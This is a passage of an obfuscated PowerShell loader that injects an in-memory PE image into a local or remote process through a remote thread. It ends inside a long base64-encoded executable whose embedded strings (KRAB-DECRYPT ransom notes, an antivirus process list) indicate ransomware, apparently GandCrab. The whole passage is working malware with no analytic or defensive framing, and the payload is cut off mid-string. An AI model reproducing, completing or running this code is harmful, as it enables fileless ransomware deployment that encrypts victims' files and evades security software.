  2578.  
  2579.  
  2580.  
  2581.         if ((${prO`CiD} -ne ${nU`lL}) -and (${p`ROCId} -ne 0))
  2582.         {
  2583.             ${rEMO`Tep`R`ochA`ND`le} = ${wiN`3`2fUNCtIo`NS}."o`PenPRo`ce`SS"."IN`VoKe"(0x001F0FFF, ${FAL`Se}, ${PR`o`Cid})
  2584.             if (${remo`T`ePR`ocHandlE} -eq  ( &('LS')  VariAbLE:t2nGF).VAlUE::"zE`RO")
  2585.             {
  2586.                 Throw ((('CouldnM'+'i'+'Zt ')  -rEplace'MiZ',[cHar]39)+'o'+'bta'+'in '+'the'+' '+'hand'+'le '+'for'+' '+'proce'+'ss '+'I'+'D: '+"$ProcId")
  2587.             }
  2588.  
  2589.             &("{3}{0}{2}{1}"-f 'te-V','se','erbo','Wri') ("{10}{1}{2}{11}{3}{6}{8}{0}{7}{4}{5}{9}" -f'te p',' h','andle','r th','t','o inject in t','e','rocess ',' remo','o','Got the',' fo')
  2590.         }
  2591.  
  2592.  
  2593.  
  2594.         &("{2}{1}{3}{0}"-f 'e','i','Wr','te-Verbos') ("{2}{1}{4}{3}{5}{0}"-f'y','ing ','Call','dLibra','Invoke-MemoryLoa','r')
  2595.         ${pe`h`AND`Le} =   ( &("{1}{2}{0}"-f 'Ble','vARi','A')  ('T2n'+'GF') -VA )::"zE`Ro"
  2596.         if (${re`MoTEPr`oc`han`dLE} -eq  ( &("{1}{2}{0}"-f 'VAriAblE','g','ET-')  ('t2n'+'Gf')).VAlue::"z`ERo")
  2597.         {
  2598.             ${pe`l`oAde`DInFo} = &("{0}{4}{3}{2}{1}" -f 'Inv','brary','ryLoadLi','ke-Memo','o') -PEBytes ${pE`B`yTes} -ExeArgs ${eX`eaR`Gs} -ForceASLR ${f`orCEa`SlR}
  2599.         }
  2600.         else
  2601.         {
  2602.             ${pE`L`oAD`eDiNFO} = &("{5}{3}{4}{2}{0}{1}"-f 'ibrar','y','moryLoadL','ok','e-Me','Inv') -PEBytes ${peByT`Es} -ExeArgs ${E`Xe`ARgs} -RemoteProcHandle ${rE`mOtepROChA`Nd`le} -ForceASLR ${fO`R`Ce`Aslr}
  2603.         }
  2604.         if (${PEl`OadE`dIN`FO} -eq   $T2nGF::"ze`Ro")
  2605.         {
  2606.             Throw ("{3}{9}{7}{6}{2}{0}{5}{1}{8}{4}"-f'ha','le',' ','Unab','L','nd','PE,','d ',' returned is NUL','le to loa')
  2607.         }
  2608.  
  2609.         ${pe`Ha`NDle} = ${pE`lo`AdEdINFO}[0]
  2610.         ${re`MOte`PEHANd`Le} = ${P`ELo`ADEDiNFo}[1]
  2611.  
  2612.  
  2613.  
  2614.         ${pe`iNFO} = &("{2}{0}{3}{1}"-f'EDet','edInfo','Get-P','ail') -PEHandle ${pE`h`ANdle} -Win32Types ${wIn3`2`Types} -Win32Constants ${w`in32c`oNs`TaNTS}
  2615.         if ((${pe`in`FO}."f`i`lETYpE" -ieq "DLL") -and (${reMOt`EP`ROCHand`le} -eq  $T2Ngf::"ZE`Ro"))
  2616.         {
  2617.  
  2618.  
  2619.  
  2620.             switch (${F`UN`c`REt`UrntYpe})
  2621.             {
  2622.                 ("{1}{0}"-f'ng','WStri') {
  2623.                     &("{2}{0}{1}" -f 'ite-Verbos','e','Wr') ("{5}{4}{8}{2}{0}{10}{7}{1}{11}{6}{9}{3}"-f'i','ring re','nct','pe','ing','Call','rn ','St',' fu','ty','on with W','tu')
  2624.                     [IntPtr]${Ws`T`RINGfu`NCa`ddr} = &("{3}{4}{5}{1}{6}{2}{0}"-f'ress','ory','cAdd','G','et-Me','m','Pro') -PEHandle ${peH`AND`Le} -FunctionName ("{1}{2}{3}{0}" -f 'nc','WStri','n','gFu')
  2625.                     if (${W`strI`Ngf`UNcadDR} -eq   ( &('gi') VArIAblE:T2nGF ).VaLUe::"z`eRo")
  2626.                     {
  2627.                         Throw ((("{1}{6}{5}{2}{4}{0}{8}{3}{7}" -f'on add','CouldnXUv',' funct','ss','i','ind','t f','.','re'))  -CRepLACe  'XUv',[CHAR]39)
  2628.                     }
  2629.                     ${WstriNg`F`UNcd`E`Le`gaTE} = &("{4}{0}{3}{2}{1}"-f '-Delegat','e','yp','eT','Get') @() ([IntPtr])
  2630.                     ${WS`TRI`NGfu`NC} =   ( &("{0}{1}"-f'itE','m') VArIabLe:mlHIT  ).vAlUE::("{2}{5}{1}{3}{4}{0}" -f 'er','tionP','GetDe','oi','nt','legateForFunc').Invoke(${w`StRiNg`Fun`Cad`dr}, ${ws`T`RIN`gFUnCDel`ega`TE})
  2631.                     [IntPtr]${OUT`p`UtPTR} = ${wsTRI`Ng`Fu`NC}."in`VoKe"()
  2632.                     ${O`U`TpuT} =   (  &("{1}{0}{2}" -f 'VA','GeT-','rIAblE') ("mLh"+"iT")  ).valUe::("{3}{4}{2}{0}{1}"-f'n','i','tringU','PtrTo','S').Invoke(${O`UtP`UtPTR})
  2633.                     &("{1}{0}{2}{3}" -f 'e-','Writ','Ou','tput') ${oUt`P`Ut}
  2634.                 }
  2635.  
  2636.                 ("{1}{0}{2}"-f'tri','S','ng') {
  2637.                     &("{0}{2}{1}{3}" -f'Writ','rbos','e-Ve','e') ("{0}{2}{3}{7}{6}{8}{4}{1}{5}"-f'C','yp','alling fu','n','urn t','e','tring','ction with S',' ret')
  2638.                     [IntPtr]${st`RINg`FuNcA`d`DR} = &("{0}{1}{4}{3}{5}{2}"-f 'Ge','t-','ress','yP','Memor','rocAdd') -PEHandle ${PeH`AN`Dle} -FunctionName ("{3}{2}{0}{1}" -f 'g','Func','rin','St')
  2639.                     if (${StRi`Ng`FuncA`D`dR} -eq  (  &("{2}{3}{1}{0}" -f 'e','-Variabl','Ge','t')  t2nGf -ValueOnl)::"z`eRo")
  2640.                     {
  2641.                         Throw ((("{1}{4}{0}{6}{5}{3}{2}" -f 'u','Coul','.','s','dnf7Yt find f','ddres','nction a'))  -CReplaCE ([cHAr]102+[cHAr]55+[cHAr]89),[cHAr]39)
  2642.                     }
  2643.                     ${sT`R`ingFu`Ncde`L`egATE} = &("{4}{1}{3}{0}{2}" -f'legate','t-','Type','De','Ge') @() ([IntPtr])
  2644.                     ${STri`NG`FUNc} =   $mLHIT::("{0}{2}{5}{3}{6}{4}{7}{1}" -f 'G','nter','etDelegat','Functi','o','eFor','onP','i').Invoke(${STrIn`g`F`UnCA`DDR}, ${sTri`NG`FuNCde`LE`g`Ate})
  2645.                     [IntPtr]${OUTp`U`T`ptR} = ${StR`InGFu`NC}."iNVO`ke"()
  2646.                     ${ou`Tput} =  (&('GI')  ("variABl"+"E"+":M"+"L"+"hIT") ).VaLue::("{4}{0}{3}{2}{1}"-f 'To','si','tringAn','S','Ptr').Invoke(${o`UtpUT`ptR})
  2647.                     &("{1}{0}{2}"-f 'tp','Write-Ou','ut') ${O`UT`Put}
  2648.                 }
  2649.  
  2650.                 ("{0}{1}" -f'Vo','id') {
  2651.                     &("{0}{1}{2}{4}{3}" -f 'Write-Ve','r','b','e','os') ("{6}{8}{1}{3}{2}{5}{4}{10}{0}{9}{7}" -f't','io','th Vo','n wi',' r','id','Calling f','type','unct','urn ','e')
  2652.                     [IntPtr]${V`OI`dFUnCaD`DR} = &("{0}{4}{1}{3}{2}{5}"-f'Get-M','moryPro','s','cAddre','e','s') -PEHandle ${p`Eh`ANDle} -FunctionName ("{2}{0}{1}"-f 'oidFun','c','V')
  2653.                     if (${VOIDf`UnC`AdDr} -eq   $t2nGF::"z`ErO")
  2654.                     {
  2655.  
  2656.                     }
  2657.                     else
  2658.                     {
  2659.                     ${v`oidFuncdEL`E`ga`Te} = &("{4}{1}{2}{3}{0}"-f 'eType','t','-Deleg','at','Ge') @() ([Void])
  2660.                     ${vo`i`DFunc} =  $MlHit::("{2}{0}{6}{4}{8}{7}{5}{3}{1}" -f 'eleg','r','GetD','e','orFun','onPoint','ateF','ti','c').Invoke(${voI`DFUnCa`DDR}, ${VO`I`DFUnC`DEL`egate})
  2661.                     ${v`o`iDFUnc}."IN`VokE"() | &("{1}{2}{0}"-f'l','Ou','t-Nul')
  2662.                     }
  2663.                 }
  2664.             }
  2665.  
  2666.  
  2667.  
  2668.         }
  2669.  
  2670.         elseif ((${P`E`INfO}."fIL`ET`yPe" -ieq "DLL") -and (${ReM`Ot`E`P`RoCHAndLe} -ne   (&("{0}{2}{1}{3}"-f'GEt-','a','v','RiaBLe') ('t2Ng'+'F') ).vAlue::"zE`Ro"))
  2671.         {
  2672.             ${V`oiDfu`N`CAddr} = &("{0}{2}{3}{4}{1}"-f'G','ress','et-','MemoryProcAd','d') -PEHandle ${p`eha`NDlE} -FunctionName ("{0}{1}"-f'VoidFun','c')
  2673.             if ((${vO`I`dfUn`CAD`dr} -eq ${N`ULL}) -or (${Vo`I`Dfunc`AdDR} -eq   (&("{2}{0}{1}" -f'aRIa','ble','GEt-V')  T2NGF  ).vAlUe::"ZE`Ro"))
  2674.             {
  2675.  
  2676.             }
  2677.             else{
  2678.             ${V`OIDFU`N`cAddr} = &("{2}{3}{6}{0}{1}{4}{5}" -f'tAs','Unsig','Sub','-Sign','n','ed','edIn') ${voidfu`N`C`Addr} ${PEHand`LE}
  2679.             ${vOI`DfUN`ca`DDR} = &("{4}{2}{1}{0}{3}"-f 'ne','sUnsig','A','d','Add-SignedInt') ${Vo`i`dfuNcA`DdR} ${r`EM`OT`ePeha`NDLE}
  2680.  
  2681.  
  2682.             ${R`Th`R`EaDHA`NDle} = &("{0}{1}{3}{4}{2}"-f 'Cr','eate-Rem','ad','ote','Thre') -ProcessHandle ${rEMO`TEProCH`An`DLe} -StartAddress ${vo`idfU`N`caDdr} -Win32Functions ${wiN32fu`NctI`O`NS}
  2683.             }
  2684.         }
  2685.  
  2686.  
  2687.  
  2688.         if (${re`MOt`E`PrOchA`NDLe} -eq  ( &("{0}{1}" -f'itE','M') vaRiaBlE:t2ngF ).vALUe::"ZE`Ro" -and ${P`eIN`FO}."fIleT`Y`PE" -ieq "DLL")
  2689.         {
  2690.  
  2691.         }
  2692.         else
  2693.         {
  2694.  
  2695.  
  2696.  
  2697.  
  2698.  
  2699.  
  2700.         }
  2701.  
  2702.         &("{0}{1}{2}{3}"-f 'Wr','ite-Verbo','s','e') ("{0}{1}"-f'Do','ne!')
  2703.     }
  2704.  
  2705.     &("{1}{0}"-f'in','Ma')
  2706. }
  2707.  
  2708.  
  2709. Function MA`In
  2710. {
  2711.     if ((${PS`CMdL`et}."m`yinV`OcATION"."BO`UNdpara`Me`TeRS"[("{1}{0}"-f'g','Debu')] -ne ${n`ULL}) -and ${P`SC`mdLEt}."My`INVO`CATi`oN"."bOUndpar`Amete`Rs"[("{0}{1}" -f'De','bug')]."I`S`pre`SeNT")
  2712.     {
  2713.         ${d`e`BUg`PrEFER`eNce}  = ("{0}{1}{2}"-f 'Co','nti','nue')
  2714.     }
  2715.  
  2716.     &("{1}{0}{2}"-f 'os','Write-Verb','e') ('P'+'ower'+'Shell'+' '+'Proces'+'sI'+'D'+': '+"$PID")
  2717.  
  2718.  
  2719.     ${E_`maG`iC} = (${PEB`y`TeS}[0..1] | &('%') {[Char] ${_}}) -join ''
  2720.  
  2721.     if (${E`_M`Agic} -ne 'MZ')
  2722.     {
  2723.         throw ("{4}{0}{3}{1}{5}{2}{6}"-f 'ot a','val',' fil',' ','PE is n','id PE','e.')
  2724.     }
  2725.  
  2726.     if (-not ${DON`ot`zerOmZ}) {
  2727.  
  2728.  
  2729.         ${PEBY`T`es}[0] = 0
  2730.         ${peb`y`TeS}[1] = 0
  2731.     }
  2732.  
  2733.  
  2734.     if (${Ex`eArgs} -ne ${N`ULL} -and ${E`XEa`Rgs} -ne '')
  2735.     {
  2736.         ${ExEAR`GS} = ('Ref'+'lec'+'tiveE'+'x'+'e '+"$ExeArgs")
  2737.     }
  2738.     else
  2739.     {
  2740.         ${EXE`ArGS} = ("{4}{2}{1}{3}{0}"-f 'xe','ctive','le','E','Ref')
  2741.     }
  2742.  
  2743.     if (${c`O`MpUTE`RN`AMe} -eq ${nu`Ll} -or ${com`PUte`RNAMe} -imatch "^\s*$")
  2744.     {
  2745.         &("{1}{0}{3}{2}"-f 'nvok','I','nd','e-Comma') -ScriptBlock ${ReMoTESc`Ri`P`T`Blo`ck} -ArgumentList @(${pEbY`T`Es}, ${fu`NCretu`R`NtYpe}, ${P`ROc`iD}, ${Pr`OCN`A`me},${f`OrCE`ASlR})
  2746.     }
  2747.     else
  2748.     {
  2749.         &("{1}{0}{2}"-f 'Com','Invoke-','mand') -ScriptBlock ${rEm`OteScRIPT`Bl`OCk} -ArgumentList @(${P`e`BytES}, ${FuNC`R`ETU`Rnt`YpE}, ${pr`o`CId}, ${PRO`CNA`Me},${f`oRCeA`SLr}) -ComputerName ${Co`MP`UTe`Rna`me}
  2750.     }
  2751. }
  2752.  
  2753. &("{0}{1}"-f'Mai','n')
  2754. }
  2755.  
  2756. function INvOKE-w`x`H`O`l`FpVNw`PwozlY`Pml
  2757. {
  2758.  
  2759. ${pE`BYtE`s32} = ("{106}{103}{129}{31}{22}{117}{87}{107}{35}{169}{83}{23}{10}{56}{25}{78}{13}{41}{33}{21}{77}{153}{147}{5}{172}{86}{17}{164}{24}{148}{171}{161}{14}{125}{0}{42}{99}{4}{115}{89}{6}{39}{160}{93}{68}{131}{16}{146}{134}{3}{155}{158}{170}{135}{76}{40}{54}{105}{165}{109}{132}{51}{80}{149}{150}{57}{168}{144}{151}{120}{121}{9}{112}{74}{1}{92}{72}{100}{128}{127}{122}{85}{140}{38}{7}{163}{137}{15}{119}{60}{81}{19}{113}{141}{62}{45}{175}{26}{102}{43}{136}{37}{91}{108}{36}{159}{88}{52}{32}{111}{75}{114}{58}{11}{167}{174}{104}{156}{49}{143}{34}{123}{28}{12}{64}{110}{90}{142}{79}{63}{138}{2}{18}{157}{130}{82}{95}{126}{133}{162}{166}{50}{173}{118}{71}{29}{65}{27}{44}{97}{30}{96}{66}{98}{152}{47}{20}{59}{94}{154}{69}{84}{70}{145}{48}{8}{116}{46}{53}{139}{55}{61}{67}{101}{73}{124}" -f'EA+AABZWYXAdB9qA/91+GoAahT/FWAyARBoAIAAAGoA/3X4/xXEMQEQagBqAGoAaEBpABBqAGoA/xW4MAEQiUX8g338AHULav//dfz/FYQxARCDffwAdAtq//91/P8VhDEBEI2NYP///+iAMAAAi+Vdw1WL7IHsqAYAAOgAAAAAPoMEJBF1BXQD6SgUWP/gAOlqJVhmiUW0andYZolFtmppWGaJRbhqb','AAAIB9/AB0B4tN+INhcP2L5V3DVYvsagD/dQjouf///1lZXcNVi+yhSCMCEDMFUKoBEP91CHQE/9Bdw/8V/DEBEF3DVYvsoUwjAhAzBVCqARD/dQz/dQh0BP/QXcP/FfgxARBdw1WL7KFQIwIQMwVQqgEQdA3/dRD/dQz/dQj/0F3D/3UM/3UI/xUAMgEQM8BAXcNVi+xRVos1WKoBEIX2eSWhtCMCEDP2MwVQqgEQiXX8dA1WjU38Uf/Qg/h6dQFGiTVYqgEQM8CF9l4Pn8CL5V3DVYvs/3UI/xXcMQEQXcNVi+z/dQj/FbQxARBQ/xVoMQEQXcNVi+xqAP8VBDIBEP91CP8VCDIBEF3DVYvs/xX0MQEQagGjlAoCEOjcEgAA/3UI6M3///+DPZQKAhAAWVl1CGoB6MISAABZaAkEAMDom////1ldw1WL7IHsJAMAAGoX6GhoAACFwHQFagJZzSmjeAgCEIkNdAgCEIkVcAgCEIkdbAgCEIk1aAgCEIk9ZAgCEGaMFZAIAhBmjA2ECAIQZowdYAgCEGaMBVwIAhBmjCVYCAIQZowtVAgCEJyPBYgIAhCLRQCjfAgCEItFBKOACAIQjUUIo4wIAhCLhdz8///HBcgHAhABAAEAoYAIAhCjhAcCEMcFeAcCEAkEAMDHBXwHAhABAAAAxwWIBwIQAQAAAGoEWGvAAMeAjAcCEAIAAABqBFhrwACLDVCqARCJTAX4agRYweAAiw1UqgEQiUwF+GjgPwEQ6Mz+//+L5V3DVYvsgewoAwAAoVCqARAzxYlF/IN9CP9XdAn/dQjolxEAAFmDpeD8//8AjYXk/P//akxqAFDoy/z//42F4Pz//4PEDImF2Pz//42FMP3//4mF3Pz//4mF4P3//4mN3P3//4mV2P3//4md1P3//4m10P3//4m9zP3//2aMlfj9//9mjI3s/f//ZoydyP3//2aMhcT9//9mjKXA/f//ZoytvP3//5yPhfD9//+LRQSJhej9//+NRQSJhfT9///HhTD9//8BAAEAi0D8iYXk/f//i0UMiYXg/P//i0UQiYXk/P//i0UEiYXs/P///xX0MQEQi/iNhdj8//9Q6LT9//9ZhcB1E4X/dQ+DfQj/dAn/dQjopBAAAFmLTfwzzV/oz/v//4vlXcNVi+z/NZgKAhD/FTQyARCFwHQDXf/g/3UY/3UU/3UQ/3UM/3UI6BEAAADMM8BQUFBQUOjJ////g8QUw2oX6BZmAACFwHQFagVZzSlWagG+FwQAwFZqAuiA/v//VugX/f//g8QQXsPMzMzMzMzMzMzMV1aLdCQQi0wkFIt8JAyLwYvRA8Y7/nYIO/gPgmgDAAAPuiXEBQIQAXMH86TpFwMAAIH5gAAAAA+CzgEAAIvHM8apDwAAAHUOD7olAKABEAEPgtoEAAAPuiXEBQIQAA+DpwEAAPfHAwAAAA+FuAEAAPfGAwAAAA+FlwEAAA+65wJzDYsGg+kEjXYEiQeNfwQPuucDcxHzD34Og+kIjXYIZg/WD41/CPfGBwAAAHRjD7rmAw+DsgAAAGYPb070jXb0Zg9vXhCD6TBmD29GIGYPb24wjXYwg/kwZg9v02YPOg/ZDGYPfx9mD2/gZg86D8IMZg9/RxBmD2/NZg86D+wMZg9/byCNfzB9t412DOmvAAAAZg9vTviNdviNSQBmD29eEIPpMGYPb0YgZg9vbjCNdjCD+TBmD2/TZg86D9kIZg9/H2YPb+BmDzoPwghmD39HEGYPb81mDzoP7AhmD39vII1/MH23jXYI61ZmD29O/I12/Iv/Zg9vXhCD6TBmD29GIGYPb24wjXYwg/kwZg9v02YPOg/ZBGYPfx9mD2/gZg86D8IEZg9/RxBmD2/NZg86D+wEZg9/byCNfzB9t412BIP5EHwT8w9vDoPpEI12EGYPfw+NfxDr6A+64QJzDYsGg+kEjXYEiQeNfwQPuuEDcxHzD34Og+kIjXYIZg/WD41/CIsEjWjMABD/4PfHAwAAAHUVwekCg+IDg/kIcirzpf8klWjMABCQi8e6AwAAAIPpBHIMg+ADA8j/JIV8ywAQ/ySNeMwAEJD/JI38ywAQkIzLABC4ywAQ3MsAECPRigaIB4pGAYhHA','GQAYQB0AC4AbABvAGcAAAAAAHQAaAB1AG0AYgBzAC4AZABiAAAALQBEAEUAQwBSAFkAUABUAC4AdAB4AHQAAAAAAC0ARABFAEMAUgBZAFAAVAAuAGgAdABtAGwAAAAlAHMALQBEAEUAQwBSAFkAUABUAC4AaAB0AG0AbAAAACUAcwAtAEQARQBDAFIAWQBQAFQALgB0AHgAdAAAAAAASwBSAEEAQgAtAEQARQBDAFIAWQBQAFQALgBoAHQAbQBsAAAASwBSAEEAQgAtAEQARQBDAFIAWQBQAFQALgB0AHgAdAAAAAAAQwBSAEEAQgAtAEQARQBDAFIAWQBQAFQALgB0AHgAdAAAAAAAbgB0AGwAZAByAAAATgBUAEQARQBUAEUAQwBUAC4AQwBPAE0AAAAAAEIAbwBvAHQAZgBvAG4AdAAuAGIAaQBuAAAAAAAlAHMAIAAAACUAdwBzACAAAAAAACUAcwBcACUAcwAtAEQARQBDAFIAWQBQAFQALgB0AHgAdAAAACUAcwBcAEsAUgBBAEIALQBEAEUAQwBSAFkAUABUAC4AdAB4AHQAAAAlAHMALgBLAFIAQQBCAAAAJQBzACUAcwAAAAAAJQBzACUAeAAlAHgAJQB4ACUAeAAuAGwAbwBjAGsAAAAqAAAALgAAAC4ALgAAAAAAUwBRAEwAAABcAAAAPQAAACYAAAAlAHgAJQB4AAAAAAB1AG4AZABlAGYAaQBuAGUAZAAAAEQAbwBtAGEAaQBuAAAAAABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAHMAZQByAHYAaQBjAGUAcwBcAFQAYwBwAGkAcABcAFAAYQByAGEAbQBlAHQAZQByAHMAAAAAAFcATwBSAEsARwBSAE8AVQBQAAAATABvAGMAYQBsAGUATgBhAG0AZQAAAAAAQwBvAG4AdAByAG8AbAAgAFAAYQBuAGUAbABcAEkAbgB0AGUAcgBuAGEAdABpAG8AbgBhAGwAAAAxAAAAMAAAAHAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAAABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AAAAAAAAAAABTAE8ARgBUAFcAQQBSAEUAXABXAG8AdwA2ADQAMwAyAE4AbwBkAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AAAAAAGUAcgByAG8AcgAAAHgANgA0AAAAQQBSAE0AAABJAHQAYQBuAGkAdQBtAAAAeAA4ADYAAABVAG4AawBuAG8AdwBuAAAAUAByAG8AYwBlAHMAcwBvAHIATgBhAG0AZQBTAHQAcgBpAG4AZwAAAEgAQQBSAEQAVwBBAFIARQBcAEQARQBTAEMAUgBJAFAAVABJAE8ATgBcAFMAeQBzAHQAZQBtAFwAQwBlAG4AdAByAGEAbABQAHIAbwBjAGUAcwBzAG8AcgBcADAAAAAAAEkAZABlAG4AdABpAGYAaQBlAHIAAAAAAFJ0bENvbXB1dGVDcmMzMgBuAHQAZABsAGwALgBkAGwAbAAAAFUATgBLAE4ATwBXAE4AAABOAE8AXwBSAE8ATwBUAF8ARABJAFIAAABSAEUATQBPAFYAQQBCAEwARQAAAEYASQBYAEUARAAAAFIARQBNAE8AVABFAAAAAABDAEQAUgBPAE0AAABSAEEATQBEAEkAUwBLAAAAPwA6AFwAAABfAAAAJQBJADYANAB1AC8AAAAAACUASQA2ADQAdQAAACwAAAAwACwAAAAAAEEAVgBQAC4ARQBYAEUAAABlAGsAcgBuAC4AZQB4AGUAAAAAAGEAdgBnAG4AdAAuAGUAeABlAAAAYQBzAGgARABpAHMAcAAuAGUAeABlAAAATgBvAHIAdABvAG4AQQBuAHQAaQBCAG8AdAAuAGUAeABlAAAATQBjAHMAaABpAGUAbABkAC4AZQB4AGUAAAAAAGEAdgBlAG4AZwBpAG4AZQAuAGUAeABlAAAAAABjAG0AZABhAGcAZQBuAHQALgBlAHgAZQAAAAAAcwBtAGMALgBlAHgAZQAAAHAAZQByAHMAZgB3AC4AZQB4AGUAAAAAAHAAYwBjAHAAZgB3AC4AZQB4AGUAAAAAAGYAcwBnAHUAaQBlAHgAZQAuAGUAeABlAAAAAABjAGYAcAAuAGUAeABlAAAAbQBzAG0AcABlAG4AZwAuAGUAeABlAAAAAAAAAFMAWQBTA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fwAAmfd9/EJ0PGkG/UMDAAPBiQbB+BCD4A//dIW8V/8VnDEBEGkG/UMDALnDniYAQwPBiQbB+BAl/38AAJn3ffxCO9pyxIvHX15bi+Vdw1WL7IHsnAwAAFNWV2pNWGpvZomFdP///4vxWGp6ZomFdv///1hqaVpqbGaJhXj///9YamFmiYV8////ZomFfv///1hqL2aJRYBYajVmiUWCWGouW2owZolFhFhqIFlqKGaJRYhYaldfam5miUWMWGpkZolFklhqb2aJRZRYandmiUWWWGpzZolFmFhqTmaJRZpYalRmiZV6////ZolVkFpqNmaJTYpmiU2cZolNollqMWaJRZ5YajtmiV2GZoldpltqIGaJRahYZol9jmaJVaBmiU2kZoldqmaJRaxqT1hqNGaJRbBYaiBmiUW2WGpyZolFumaJTbRZamlYamRmiUXAWGplZolFwmaJVbxaam5YanRmiUXGWGovZolFyFhqN2aJRcpYai5miUXMWGowZol9rmaJfbJfaiBmiUXOZolduGaJXdJbanZYajpmiUXYWGoxZolF2lhqLmaJRdxmiUXeWGopZolF4FhqbGaJReRYamlmiUXoWGprZolNvmaJTdZZakdmiUXqWGaJVcRmiX3QZold1GaJfeJmiV3mZolN7GaJVe5miV3wZolF8mpjWGpvZolF9jPbWFNTZolF+jPAU2aJRfyNhXT///9TUGaJVfRmiU34/xWQMgEQiYVw////hcAPhOQAAABTU2oDU1NqUFZQ/xWkMgEQiz2gMgEQi/CJtWj///+F9g+EtAAAAI2FZPP//2jsfQEQUP8VcDIBEFlZU2gA9ySEU1','yDffwAdV+LRQj/cAyLRQj/MGoDagD